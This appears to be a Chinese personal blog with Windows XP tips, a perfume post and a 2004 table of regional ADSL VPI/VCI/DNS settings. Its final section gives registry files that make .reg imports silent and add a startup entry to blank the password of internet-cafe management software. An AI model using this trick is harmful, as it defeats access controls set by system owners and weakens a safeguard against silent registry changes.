      (7)你想调节各项音频输入输出的音量,单击“设备音量”区域中的“高级”按钮,在弹出的“音量控制”对话框里调节即可。这里列出了从总体音量到CD唱机、PC扬声器等单项输入输出的音量控制功能。你也可以通过选择“静音”来关闭相应的单项音量。
      
      (8)单击“音量”选项卡中的“扬声器设置”区域中的“高级”按钮后,在弹出的“高级音频属性”对话框你可以为自己的多媒体系统设定最接近你的硬件配置的扬声器模式。
      
      (9)在“高级音频属性”对话框中选择“性能”选项卡,这里提供了对音频播放及其硬件加速和采样率转换质量的调节功能。要说明的是,并不是所有的选项都是越高越好,你需要根据自己的硬件情况进行设定,较好的质量通常意味着较高的资源占有率。
      
      设置完毕后,单击“确定”按钮保存设置。
      
      11、如何分配临时管理权限
      
      许多程序在安装过程中都要求你具备管理权限。这里介绍了一种以普通用户身份登录的情况下,临时为自己分配管理权限的简单方法。在右键单击程序安装文件的同时按住“Shift”键。在随后出现的快捷菜单中单击“运行方式”,输入具有相应管理权限的用户名和密码。这种方式对于开始菜单上的应用程序同样适用。
      
      12、如何关闭Windows XP的自动播放功能
      一旦你将多媒体光盘插入驱动器,自动运行就会从驱动器中读取数据,这会造成程序的设置文件和在音频媒体上的音乐立即开始。你可以用下面这个办法关闭这个功能:打开“开始→运行”,在对话框中输入“gpedit.msc”命令,在出现“组策略”窗口中依次选择“在计算机配置→管理模板→系统”,双击“关闭自动播放”,在“设置”选项卡中选“已启用”选项,最后单击“确定”按钮即可(图1-32)。
      
      13、如何恢复被破坏的系统引导文件
      现象:我只安装了Windows XP系统,但在开机时显示“BOOT.INI非法,正从C:WINDOWS启动”,然后就进入了启动状态,并且也能照样工作,请问这是怎么一回事,能否在不重装系统的情况下使系统恢复到正常启动状态?
      
      出现这种情况是因为C盘下面的“Boot.ini”文件被破坏了。但是由于你的机器中只有一个操作系统,当然它就是默认的操作系统,即使“Boot.ini”文件被破坏了,也将自动地引导该系统进行装载。
      
      解决的办法是建立一个“Boot.ini”文件即可。其内容为:
      
      [Boot Loader]
      
      Default=C:
      [Operating Systems]
      
      C:=“Microsoft Windows xp”
      
      14、如何恢复输入法图标
      现象:本人使用Windows XP中文版,不慎使任务栏隐藏了输入法图标,请问该如何恢复输入法图标。
      
      打开“控制面板”,双击“区域和语言选项”图标,进入“区域和语言选项”对话框,选择“语言”选项卡,单击“详细信息”按钮,在弹出的对话框中单击“语言栏”按钮,在接着出现的“语言栏设置”对话框中勾选“在桌面上显示语言栏”选项。这时候桌面会出现语言栏,单击右上角的最小化按钮,输入法图标就回到任务栏中去了。
      
      15、如何恢复误删除的boot.ini文件
      现象:我第一次装Windows XP时,重启后没有任何问题。但是由于误操作,删掉了C盘目录下的一个文件(文件名是:boot.ini),然后再重启时每次都显示两行字:“boot.ini是非法的。现在正从C:/Windows/下启动”。然后可以顺利进入Windows XP。但是速度明显慢了,比没删这个文件时慢了很多,而且,每次都要看见那两行字。请问如何修复?
      
      boot.ini是系统启动时,需要查询的一个系统文件,它告诉启动程序本计算机有几个操作系统、各系统的位置在哪里等信息。重新恢复的方法如下:单击“开始”菜单,依次指向“程序→附件→记事本”,打开“记事本”,在记事本里输入:
      
      [boot loader]
      
      timeout=30
      
      default=multi(0)disk(0)rdisk(0)partition(1) Windows
      
      [operating systems]
      
      multi(0)disk(0)rdisk(0)partition(1)Windows=“Microsoft Windows XP Professional” /fastdetect
      
      然后将它保存为名字是boot.ini的文件,并将此文件保存到C盘的根目录下即可。
      
      16、如何加快Windows XP窗口显示速度
      我们可以通过修改注册表来改变窗口从任务栏弹出,以及最小化回归任务栏的动作,步骤如下:打开注册表编辑器,找到HKEY_ CURRENT_USERControl PanelDesktop WindowMetrics子键分支,在右边的窗口中找到MinAnimate键值,其类型为REG_SZ,默认情况下此健值的值为1,表示打开窗口显示的动画,把它改为0,则禁止动画的显示,接下来从开始菜单中选择“注销”命令,激活刚才所作的修改即可。
      
      17、如何解决Windows XP关机出现英文提示
      现象:我的Windows XP关机时会出现一个进度条,并提示“To return to windows and check the status of the program click cancel if you choose to end the program immediately you will lose any unsaved data. To end the program now click end.”然后就正常关机,但有时却不出现,我想会不会与我的东方影都3的记忆播放有关,但关闭记忆播放功能也无效,请问如何办?
      
      这是因为你关闭Windows XP时还有程序在运行,请在关机之前保存并关闭一切应用程序。如果直接单击“End”按钮,那么未保存的任务会丢失,这时可以按“Ctrl+Alt+Del”打开任务管理器,然后关闭应用程序。如果在任务管理器列表中为空,那么就在“系统进程”中将它关闭。如果不进行任何操作,那么系统将在进度条到头时自动关闭未关闭的程序并关闭系统。请你在关机之前关闭一切应用程序、系统驻留程序就不会出现这个提示了。当你确定没有任何需要保存的任务时,可以不必理会此对话框。
    18、如何控制桌面的图标显示
      通常很多用户还是习惯于在桌面上保留“我的文档”及其他经常访问文件夹快捷方式以及经常使用的程序快捷方式。如果你想在桌面上显示“我的电脑”、“我的文档”、“网上邻居”、IE浏览器的快捷方式图标,只需进行如下操作 :在桌面单击鼠标右键,在右键菜单中选择“属性”命令,在打开的“显示 属性”对话框中选择“桌面”选项卡,单击“自定义桌面”按钮,打开“桌面”项目对话框。在“常规”选项卡的“桌面图标”栏中选择所需项目的复选框,然后单击“确定”返回上一级对话框,再单击“应用”按钮即可。
      19、如何删除Windows XP的“更新”选项
      对于大多数的用户来说,Windows XP的Windows Update功能似乎作用不大,我们可以去掉它,操作步骤如下:打开注册表编辑器,找到HKEY_CURRENT_USERSoftware MicrosoftWindowsCurrentVersionPoliciesExplorer子键分支,选择“编辑”菜单下的“新建”命令,新建一个类型为REG_DWord的值,名称为NoCommonGroups,双击新建的NoCommon Groups子键,在“编辑字符串”文本框中输入键值“1”,然后单击“确定”按钮并重新启动系统即可。
      
      20、如何设置音频属性
      打开“控制面板”,双击“声音及音频设备”图标,在“声音及音频设备 属性”对话框中,选择“音频”选项卡,在该选项卡中,你可以看到与“声音播放”、“录音”和“MIDI音乐播放”有关的默认设备。当你的计算机上安装有多个音频设备时,就可以在这里选择应用的默认设备,并且还可以调节其音量及进行高级设置。
      
      进行音频设置的操作步骤如下:
      
      (1)在“声音播放”选项组中,从“默认设备”下拉列表中选择声音播放的首选设备,一般使用系统默认设备。
      
      (2)用户如果希望调整声音播放的音量,可以单击“音量控制”窗口,在该窗口中,将音量控制滑块上下拖动即可调整音量大小。
      
      (3)在该窗口中,用户可以为不同的设备设置音量。例如,当用户在播放CD时,调节“CD音频”选项组中的音量控制滑块,可以改变播放CD的音量;当用户播放MP3和WAV等文件时,用户还可以在“音量控制”窗口进行左右声道的平衡、静音等设置。
      
      (4)用户如果想选择扬声器或设置系统的播放性能,可以单击“声音播放”选项组中的“高级”按钮,打开 “高级音频属性”对话框,在“扬声器”和“性能”选项卡可以分别为自己的多媒体系统设定最接近你的硬件配置的扬声器模式及调节音频播放的硬件加速功能和采样率转换质量。
      
      (5)在“录音”选项组中,可以从“默认设备”下拉列表中选择录音默认设备。单击“音量”按钮,打开 “录音控制”对话窗口。用户可以在该窗口中改变录音左右声道的平衡状态以及录音的音量大小。
      
      (6)在“MIDI音乐播放”选项组中,从“默认设备”下拉列表中选择 MIDI音乐播放默认设备。单击“音量”按钮,打开“音量控制”窗口调整音量大小。
      
      (7)如果用户使用默认设备工作,可启用“仅使用默认设备”复选框。设置完毕后,单击“应用”按钮保存设置。
      
      21、如何设置语声效果
      用户在进行语声的输入和输出之前,应对语声属性进行设置。在“声音和音频设备 属性”对话框中,选择“语声”选项卡,在该选项卡中,用户不但可以为“声音播放”和“录音”选择默认设备,而且还可调节音量大小及进行语声测试。
      
      (1)在“声音播放”选项组中,从“默认设备”下拉列表中选择声音播放的设备,单击“音量”按钮,打开“音量控制”窗口调整声音播放的音量。要设置声音播放的高级音频属性,单击“高级”按钮完成设置。
      
      (2)在“录音”选项组中,从“默认设备”下拉列表中选择语声捕获的默认设备,单击“音量”按钮,打开“录音控制”窗口调整语声捕获的音量。要设置语声捕获的高级属性,单击“高级”按钮完成设置。
      
      (3)单击“测试硬件”按钮,打开 “声音硬件测试向导”对话框,该向导测试选定的声音硬件是否可以同时播放声音和注册语声。注释:要确保测试的准确性,在测试之前必须关闭使用麦克风的所有程序,如语声听写或语声通信程序。
      
      (4)单击“下一步”按钮,向导开始测试声音硬件,并通过对话框显示检测进度。
      
      (5)检测完毕后,打开“正在完成声音硬件测试向导”对话框,通告用户检测结果,单击“完成”按钮关闭对话框。
      
      (6)设置完毕后,单击“确定”按钮保存设置。
      
      22、如何手动使计算机进入休眠状态
      现象:请问如何用手动方式使Windows XP的计算机进入休眠状态?
      
      休眠功能是Windows XP提供的一项非常酷的特性,它“隐藏”在Shut Down(关机)对话框中。如果你的计算机支持休眠功能,那么借助以下技巧,可通过手动方式使其进入休眠状态。 如需以手动方式使你的计算机进入休眠状态,请执行以下操作步骤: 选择“开始→关闭计算机”,在关闭Windows对话框中,选择“休眠”。当你的计算机进入休眠状态后,内存中的内容将保存到硬盘上。当你将计算机唤醒时,进入休眠状态前打开的所有程序与文档都将恢复到桌面上。如需在你的计算机上激活休眠支持特性,请执行以下操作步骤:你必须以管理员、Administrators或Power Users组成员的身份登录。如果你的计算机与某个网络建立了连接,那么网络策略设置可能会导致这一操作过程无法实现。单击“开始→控制面板→性能和维护→电源选项”,选择“休眠”选项卡,选中“启用休眠”,单击“确定”关闭电源选项对话框。如果休眠选项卡不可用,则说明你的硬件设备无法支持该特性。
      
      23、如何提高Windows XP的启动速度
      使用微软提供的“Bootvis”软件可以有效地提高Windows XP的启动速度。这个工具是微软内部提供的,专门用于提升Windows XP启动速度。下载解压缩到一个文件夹下,并在“Options”选项中设置使用当前路径。之后从“Trace”选项下拉菜单中选择跟踪方式。该程序会引导Windows XP重新启动,并记录启动进程,生成相关的BIN文件。之后从Bootvis中调用这个文件,从Trace项下拉菜单中选择“Op-timizesystem”命令即可。
      
      Windows XP虽然提供了一个非常好的界面外观,但这样的设置也在极大程度上影响了系统的运行速度。如果你的电脑运行起来速度不是很快,建议将所有的附加桌面设置取消,也就是将Windows XP的桌面恢复到Windows 2000样式。
      
      设置的方法非常简单:在“我的电脑”上单击鼠标右键,选择“属性”,在“高级”选项卡中单击“性能”项中的“设置”按钮,在关联界面中选择“调整为最佳性能”复选框即可。
      
      此外,一个对Windows XP影响重大的硬件就是内存。使用256MB内存运行Windows XP会比较流畅,512MB的内存可以让系统运行得很好。如果条件允许,最好增大内存。
      
      24、如何为Windows XP减肥
      Windows XP比以往的任何Windows系统都要庞大,其硬盘空间需求1.5GB。虽然相对于能跑Windows XP的主流电脑来说,一般都拥有10GB以上的硬盘,但一些电脑发烧友有时还是乐于减少Windows XP的体积。
      
      (1)删除驱动备份 :WindowsDriver cachei386目录下的Driver.cab文件(73MB) 。
      
      (2)删除Help文档(减掉40多MB) 。
      
      (3)删除WindowsIme下不用的输入法(日文、韩文、约80MB) 。
      
      (4)把我的文件、IE的临时文件夹转到其他硬盘(分区) 。
      
      (5)把虚拟内存转到其他硬盘(分区)。
      
      25、如何卸载Windows XP
      现象:我原来使用的操作系统是Windows 98,最近听说Windows XP非常好,就安装了该系统。第一次安装是从Windows 98中安装,装完后觉得不太好,就格式化Windows XP的分区后重新从DOS安装到D盘,安装完后发现多重启动菜单有三项(第一次装的Windows XP那一项还在),请问如何删除多余的一项?另外,如果我要删除Windows XP,除了格式化D盘外,怎样才能将它彻底删除?
      
      Windows 98和Windows XP双系统的启动菜单是由C盘根目录下的一个文件来控制的,通过修改该文件可以更改启动菜单。要想删除多余的Windows XP项目,你可以打开C盘根目录下的boot.ini文件,其中有两行重复的“multi(0)…”,删除其中一行即可。要想彻底删除Windows XP,除了格式化它所在分区之外,你还必须按下面的方法删除多重启动菜单和多余的系统文件:
      
      (1)制作一张Windows 98启动盘,并将Windows 98下的sys.com文件拷入该系统盘。
      
      (2)用该启动盘启动,在A:>下执行sys C:命令。
      
      (3)删除C盘根目录下多余的文件,这些文件包括:boot.ini、bootfont.bin、bootsect.dos、ntdetect.com、pagefile.sys等。
      
      
      26、如何隐藏桌面图标
      在Windows XP中增加了隐藏桌面图标的功能,你只需用鼠标单击桌面空白处,在弹出的右键菜单中选定“排列图标”命令,然后在其下一级级联菜单中取消对“显示桌面图标”命令的选定,系统就会自动将所有桌面图标隐藏。
      
      如果桌面上图标数量较多,可以用以下方法重新排列图标 :在桌面空白区域单击鼠标右键,在弹出菜单中选择“排列图标”,然后在下一级菜单中单击图标排列规则即可。
      
      利用Windows XP的“桌面清理”功能,可将你桌面上不使用的图标清理掉。方法是:在上面的“桌面”项目对话框的“常规”选项卡中,如果你选中“每60天运行桌面清理向导”复选框,系统就会每60天自动运行一次桌面清理向导,帮你清理掉桌面上不使用的图标。如果你单击“现在清理桌面”按钮,则系统会立即打开桌面清理向导,将你不使用的快捷方式图标移到一个名为“未使用的桌面快捷方式”的桌面文件夹中。该向导不移动、更改和删除任何程序,如果你想将某个图标重新移回桌面,可以从“未使用的桌面快捷方式”的桌面文件夹中将其还原。
      
      27、如何在Windows XP中进行繁体字输入
      使用微软拼音3.0可以进行繁体字输入,你可在系统中选择微软拼音输入法,单击“选项”并在其中选中简、繁转换项,这时输入法状态条中就会有简、繁转换按钮,需要使用它切换即可进行繁体字输入了。
       当然还有其它更多的方法,就不再一一详述了。
      
      28、如何找回两台电脑相连图标
      现象:我的电脑装的是Windows XP,在上网时系统托盘内的两台电脑相连的小图标不见了,使我经常不知道是否在线。请问应如何将它恢复?
      
      小图标不见了的原因在于网络连接的属性设置不对。在Windows 98中拨号连接上互联网后,该连接的小图标将自动显示在任务栏上。如果小图标不见了,可右击“我的连接”,选择“属性→设置→选项”,选中“显示调制解调器状态”即可恢复。在Windows 2000和Windows XP中,用户可以控制和设置连接图标的显示和隐藏功能。具体的方法是打开拨号连接或者网络连接的“属性”对话框,然后选中或者清除“连接后在通知区域显示图标”复选框,就可以实现该图标的显示或隐藏了。
      
      29、如何制作自动系统恢复软盘
      现象:我在Windows XP下未找到制作紧急修复磁盘的界面,请问如何制作?另外我的Windows 98每次启动时都提示输入用户名与密码,请问如何消除?
      
      Windows XP的紧急修复磁盘准确的名称应该是“自动系统恢复(ASR) 软盘”,它可以备份那些启动系统所需的系统文件。制作方法是:单击“开始→所有程序→附件→系统工具”,然后单击“备份”,单击备份工具向导中的“高级模式”按钮。在“工具”菜单上,单击“ASR 向导”;然后按照屏幕上的提示进行操作即可(注意 :事先应准备好保存系统设置的1.44MB的空软盘)。使用方法也很简单:将Windows XP系统的安装光盘插入CD驱动器中,重新启动计算机。在出现安装界面时,按F2,系统将提示你插入以前创建的ASR软盘(ASR不会还原数据文件)。请按照屏幕上的向导进行操作即可自动恢复系统。另外,即使没有 “自动系统恢复(ASR) 软盘”,也可以使用“修复”功能恢复Windows XP系统引导菜单,只是某些个人的特殊设置会被恢复成默认设置,使用“自动系统恢复(ASR) 软盘”则不会。
      
      Windows 98每次启动时都提示输入用户名与密码,可以按“Esc”键进入Windows 98桌面,这时可以将Windows目录下的密码文件*.pwl删除。例如用户名为“qq”,相应的密码文件就是“qq.pwl”,找到它并删除它,然后重新启动电脑,在出现登录窗口时输入原来的用户名“qq”,密码不填,这样就可以消除了。
      
      30、如何自动关闭停止响应的程序
      在Windows XP操作系统中,这个设置可以使Windows XP当诊测到某个应用程序已经停止响应时可以自动关闭它,而不需要进行麻烦的手工干预。想要实现这个功能,就请单击“开始→运行”输入“Regedit”打开注册表编辑器,找到HKEY_CURRENT_USERControl PanelDesktop分支,将Auto End Tasks的键值设置为1即可。
      
      
      31、为何不能安装Windows XP
      现象:我用Windows 98启动盘启动计算机并安装Windows XP,整整花了6个小时才完成,听朋友说他在一台配置和我一样的机器上只花了1个小时的时间就完成了Windows XP的安装(也是用Windows 98启动盘启动),请问Windows XP正确的安装方法是怎样的?
      
       这是因为你没有加载磁盘高速缓存的缘故。此文件在Windows 98的安装目录下,名为smartdrv.exe,将其拷入软盘,安装之前运行一下就可以了。另外你可以将启动顺序设为从光盘启动,这样Windows XP的安装盘会自动加载磁盘高速缓存。
      
      
      32、为何不能在Windows XP下安装软件
      现象:我在一台安装有Windows XP 家庭版的微机上安装软件时出现“You do not have access to make the requried system configuration modifications. Please return this installation from an administrators account.”。请问这是为什么?这种软件在Windows 98下可正常安装。请问如何解决?
      
      Windows XP为了保护系统的安全和稳定,使用了用户账户和密码保护的方式来控制用户的操作。即只有指定的人才能干指定的事情。安装软件等修改系统的操作需要用户拥有该计算机管理员的权力才能执行,这就是你为什么不能安装软件的原因,相信还有很多操作你都执行不了。
      
      系统在安装时,默认“administrator”帐号是管理员的身份,你可以采用下面的方法使自己成为管理员:
      
      (1)首先要以管理员的身份进入计算机。单击“开始”菜单上的“注销”,确认进入等待登录的画面,同时按下键盘上的“Ctrl+Alt+Del”键。
      
      (2)在弹出的对话框中,在用户名框中输入“administrator”,密码框中输入安装时设置的密码。如果你在安装时没有设置密码,密码当然为空,然后回车进入计算机。
      
      (3)打开“控制面板中”的“用户账户”,就会看到自己的用户账户,在旁边写着“受限的账户”。
      
      (4)单击打开自己的账户,然后单击“更改账户类型”。在弹出的窗口中,单击选中“计算机管理员”的单选按钮,然后单击“更改账户类型”按钮,确认并退出。你现在就可以干自己想做的事情了。
      
      为了保证计算机的安全,建议用户设置用户密码,以避免发生安全问题而遭到不必要的损失。
      
      
      33、为何更改硬件配置就出现死机现象
      现象:在Windows XP中只要一更改硬件配置,系统就启动不了,如何解决?
      
      这是因为Windows XP中使用了激活产品程序,激活产品程序是微软在Windows XP中最新加入的防盗版功能。由于激活产品程序会根据你的电脑硬件配置生成一个硬件号,因此如果你改变了改硬件配置,激活产品程序就会发现硬件配置与之不符,这时系统就会停止运行并要求你重新激活产品才可以重新运行。
      
      
      34、为什么Windows XP磁盘可用空间不断减少
      
      现象:我使用Windows XP时发现,随着不断地增加、删除应用程序,磁盘可用空间不断减少,这是为什么?
      
      从Windows 2000开始,Windows会在每个硬盘分区中建立一个“System Volume Infor-mation”文件夹,在该文件夹中提供的是系统默认保存的系统还原备份文件。不过Windows 2000还没有正式提供系统还原功能,在Windows XP中,你可以看到相关的选项。
      
      为防止这个问题发生,最简单的方法就是关闭“系统还原”功能。如果要删除这个文件夹中保存的文件,你需要以Administrator(管理员)身份登录系统。
      
      
      35、为什么Windows XP所占空间很大
      
      现象:安装了Windows XP后,使用一段时间发现经常登陆的一个用户的文件夹所占的空间特别大,大约1.2GB;可是其他不常登陆的只有10MB左右,这是怎么回事?
      
      Windows XP为每个用户都设置了各自的文件夹,把登录用户在使用过程中的操作都记录下来,同时也产生各自的临时文件,上网缓存文件,安装软件时产生的共用文件(软件中共用),所以常登录的用户文件夹必然很大。把临时文件与上网的缓存文件删除可以省出很多空间。
      
      36、如何消除Windows XP的文档保护功能
      
      怎样消除Windows XP的文档保护功能?
      
      为了完全消除Windows文档保护功能,打开注册表编辑器,设置键值:HKEY_LOCAL_ MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon,将SFCDisable的键值设置为 0xFFFFFF9D即可。

    May 27

    香水~~

    最近对香水越来越感兴趣,不经意间在时尚论坛看到一个介绍各大香水品牌帖子,如获至宝,收藏!http://bbs.trendsmag.com/showthread.php?s=&threadid=256384&highlight=%CF%E3

    http://bbs.trendsmag.com/showthread.php?s=&threadid=204492&perpage=15&highlight=香&pagenumber=1

    早期的男士香水,我们叫做古龙水的,就是Eau de Cologne,香精含量最低,比较清淡的,至今也有品牌生产,有一批忠实客户。
    对于现代的男士,可以选择的香水实在太多了。
    年轻阳光运动的,以boss, Lacoste,CK,这些品牌为主,其中也有很多不同类型。Boss里面Boss in motion,比较阳光一些。Lacoste的相对成熟一些,但是绿色瓶的classic也不错。CK one, CK be都可以,中性,时尚一些。
    其它品牌中比较清淡的,也可以选择,例如Davidoff的Cool water, Echo,Givenchy的蓝色瓶Pi,Kenzo的kenzo pour homme, Kenzo air, YSL 的Live Jazz等。
    还有一些香水是成对儿的,例如Rauph laurent的Romance,Clinique的Happy等,你用女士,给男朋友用男士,也是不错的选择。再成熟,有性格一点,就可以选Chanel的Allure for men, CD的Eau Sauvage, Fahrenheit。这些也不算浓,比前面提到的更有特点。
    比较特殊一点的味道,全法三年排名第一的le male,从瓶子,香味到广告,都与众不同,前卫时尚,是年轻人的钟爱。味道有点甜,类似的香味有A men(Thierry Mugler), Body Kouros(Yves Saint Laurent).
    喜欢味道比较浓重,持久一些的,是很有个性或者非常成熟的男士。可以选择YSL的鸦片,Guerlain娇兰的Habit Rouge,Chanel的Egoiste. 还有一些味道非常独特的,例如YSL的M7, 我闻着就想起了原来在家煎中药;Gucci新出的Gucci for men,厚重的瓶子,香味竟然像古旧的庙宇。当然是我自己的感觉了,有很多人趋之若鹜。
    在香水的选择上,其实是不分年龄,只分个性,然而要注意到刚开始使用通常都是从淡的香味开始的。同样,一个人的经验和阅历增多,就不会满足于透明,开放的香味,而是寻找可以代表和增加自己魅力的香水。
    然而香水是用来闻的,不是用来说的,所以,对香味的第一印象非常重要,去香水店进行探索之旅吧。

    May 25

    各地的VPI/ VCI/ DNS

    各地的VPI/ VCI/ DNS 2004年5月14日数据整理

    城市    VPI    VCI    DNS

    辽宁
    沈阳     8      35    202.96.64.68
                          202.96.75.68
    大连     8      35    202.96.69.38
                          202.96.64.68

    北京     0     35     202.106.196.152
                          202.106.196.115
                          202.106.0.20

    广东
    梅州     8      35    202.96.128.143
                          202.96.128.68

    惠州     0     100    202.96.134.133
                          202.96.128.68

    广州     8      35    61.144.56.100 
                          61.144.56.101

    浙江
    温州     8      35    202.96.104.16
                          202.96.128.68
    杭州     8      35    202.101.172.35
                          202.96.104.18
    嘉善     8      35    202.101.172.36
                          202.101.179.230

    贵州
    贵阳     0      35    202.98.192.68
                          202.98.198.192
                          202.98.198.168

    湖北
    武汉     0      32    202.103.24.68
                          202.103.0.117

    宜昌                  202.103.44.5

    荆州     8      81    202.103.0.68
                          202.103.0.117

    吉林
    柳河     8      35    202.98.0.68 
                          202.98.5.68

    江西
    九江                202.101.224.68
                          202.101.226.68

    河北
    石家庄   0      35    202.99.160.68  
                          202.99.166.4 
                          202.99.160.68
    沧州                  202.99.160.68
                          202.99.166.4

    内蒙古
    赤峰     8      35    202.99.224.68
                          202.99.224.67

    安徽
    安庆     8      35    202.102.201.132
                          202.102.192.169

    上海     8      35    202.96.209.133
                          202.96.209.5
    上海浦东
             0      32    202.96.209.6
                          202.96.209.133

    成都     1     33     202.98.96.68
                          202.98.96.69
                          61.139.2.69
                          202.98.127.32

    西安     8     35     61.134.1.4
                          202.100.4.15
                          202.100.0.68

    苏州     8     35     202.102.14.141
                          202.102.14.146
                          202.102.15.162
    福建
    泉州     8     35     202.101.107.55
                          202.101.103.55
    南平     0     35     202.101.115.55
                          202.101.98.55
    福州     0     200   202.101.98.54
                          202.101.98.55
    永定   0   35   202.101.98.55
                          202.101.113.55
    江苏
    无锡     0     100    202.102.2.141
    淮安     8     35     202.102.10.141

    常州     8     35     202.96.209.5
                          202.96.209.133

    宁波     0     33
             8     35     202.96.104.15
                          202.96.104.16
                          202.96.104.17


    重庆万州 0     32

    重庆电信:                 重庆铁通: 
    VPI——8                   VPI——0
    VCI——35                  VCI——35

    四川     0     35     61.139.2.69 
    雅安     8     81     61.139.2.69
    阿坝洲   8     35

    徐州     8     35

    南京     8     35     202.102.24.35

    山西
    运城     0     35

    山东
    菏泽     0     40     202.102.128.68
                          202.102.152.3
                          202.102.134.68
    淄博     8     81     202.102.137.68
                          202.102.154.3
    威海     0     32     202.102.152.3
                          202.102.154.3
    德州     8     81     202.102.152.3
                          202.102.154.3

    黑龙江
    鸡西室   0     35

    四川
    乐山     0     35

    广西
    南宁     0     35     202.103.224.68
                          202.103.226.68

    湖南
    永州(芝山) 0   67     202.103.104.3
                          202.103.84.5

    导入注册表不提示

    首先打开记事本,输入: 
    REGEDIT4 
    [HKEY_LOCAL_MACHINE\Software\万象幻境\专家系列网管软件] 
    "运行设置程序密码"="" 
    然后将它另存为del.reg文件,并把它保存在我的文档里(c:\mydocument),注意这里的文件名和保存路径是可以任意名和任意路径的,这里只是个例子,但要和下面的一致.然后再写个.reg文件: 
    REGEDIT4 
    [HKEY_CLASSES_ROOT\regfile\shell\open\command] 
    @="regedit.exe /s \"%1\"" 
    [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] 
    " del"="C:\\My Documents\\del.reg" 
    这个文件的第3.4行是使导入注册表文件的时候不提示,第5.6行是把我们上面写的放在“我的文档”里的del.reg文件添加到启动项里,这里要注意的是最后一行的第一个del前面是有一个空格的,加上一个空格是为了保证我们写的del.reg文件在开机的时比万象早运行,最后将这个文件命名为后缀为.reg的任意文件名后保存,再运行它,也就是将它导入注册表了